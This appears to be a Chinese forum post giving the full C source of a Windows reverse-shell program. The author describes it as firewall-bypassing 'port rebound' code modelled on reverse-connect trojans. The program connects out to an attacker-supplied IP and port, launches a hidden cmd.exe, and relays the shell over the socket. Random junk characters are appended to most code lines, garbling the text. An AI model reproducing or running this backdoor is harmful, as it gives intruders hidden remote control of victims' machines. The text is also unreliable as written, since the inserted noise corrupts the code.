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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o'SZ sG  
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/* ============================== 2`;&Uwt  
Rebound port in Windows NT Z=&cBv4Fs  
By wind,2006/7 f6r~Ycf,f  
===============================*/ $ rU"Krf67  
#include ;"K;D@xzh]  
#include %7y8a`}  
/5$;W 'I  
#pragma comment(lib,"wsock32.lib") /)<x<7FKW  
ym =7EY?o  
void OutputShell(); 4ru-qF  
SOCKET sClient; x<fF1];  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KW1b #g%Z  
}@XokRk  
void main(int argc,char **argv) qG<3H!Z!ky  
{ Lq6R_ud p  
WSADATA stWsaData;  UqwU3  
int nRet; +M=`3jioL  
SOCKADDR_IN stSaiClient,stSaiServer; <lo\7p$A  
.*Mp+Q}^  
if(argc != 3) n,_q6/!  
{ <Cbi5DtR  
printf("Useage:\n\rRebound DestIP DestPort\n"); NrK.DY4  
return; &{uj3s&C   
} ni gn" r  
hRwj-N%C  
WSAStartup(MAKEWORD(2,2),&stWsaData); MoX~ZewWR  
9{KL^O?g  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \~!!h.xR  
TF1,7Qd  
stSaiClient.sin_family = AF_INET; ]~K&b96(  
stSaiClient.sin_port = htons(0); ~EL3I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G=ly .  
=G,wR'M  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k:QeZn(  
{ <9bfX 91  
printf("Bind Socket Failed!\n"); l{o,"P"  
return; @$aGVEcU$  
} 6Lb(oY}\3  
?XIB\7}  
stSaiServer.sin_family = AF_INET; /2.}m`5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K8bKTG\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6|G&d>G$_  
<%iRa$i5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xk*&zAt  
{ JuKG#F#,  
printf("Connect Error!"); |W#(+m  
return; 90[6PSXk  
} [2$mo;E?  
OutputShell(); ?`lD|~  
} v6 C$Y+5~  
nmuzTFs=  
void OutputShell() 2Wn*J[5  
{ K'_qi8Z  
char szBuff[1024]; C==yl"w  
SECURITY_ATTRIBUTES stSecurityAttributes; v8} vk]b  
OSVERSIONINFO stOsversionInfo; .sCj3sX*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; omMOA  
STARTUPINFO stStartupInfo; Cvp!(<<gK  
char *szShell; ZccvZl ;b  
PROCESS_INFORMATION stProcessInformation; q S qS@+p  
unsigned long lBytesRead; xWnOOE$i  
&"r /&7:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7,lnfCm H  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); abD@0zr  
stSecurityAttributes.lpSecurityDescriptor = 0; ;aN_!! r  
stSecurityAttributes.bInheritHandle = TRUE; 5MCnGg@  
ve]hE}o/}  
dfP4SJqq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); awv$ }EFo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `FGYc  
{sfA$ d0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )Yu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; er8T:.Py  
stStartupInfo.wShowWindow = SW_HIDE; ; I;&O5Y  
stStartupInfo.hStdInput = hReadPipe; SF=TG84<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $niG)@*  
d%za6=M  
GetVersionEx(&stOsversionInfo); (^NYC$ZxM=  
Fq$r>tmV  
switch(stOsversionInfo.dwPlatformId) GEK7q<  
{ z"97AXu  
case 1: W#P`Y< u$  
szShell = "command.com"; @-ml=S7;Sz  
break; @ry/zG#  
default: KdBpfPny@  
szShell = "cmd.exe"; >qz#&  
break; Q+oV? S3{  
} 3=Q:{  
=%B5TBG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6_s(Kx>j  
Z)}UCi+/".  
send(sClient,szMsg,77,0); zM,r0Z  
while(1) C-@[=  
{ .* )e24`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .P <3+  
if(lBytesRead) byFO^pce  
{  l*?_@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %tMx48'N  
send(sClient,szBuff,lBytesRead,0); lSg[7lt  
} !:PiQ19 'u  
else FUarI5#fwF  
{ h 8xcq#  
lBytesRead=recv(sClient,szBuff,1024,0); `a%MD>R_Lg  
if(lBytesRead<=0) break; ?P}bl_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Gp{,v  
} p$t|eu  
} q;}iW:r&Q  
j4<K0-?  
return; Xhq7)/jp  
}
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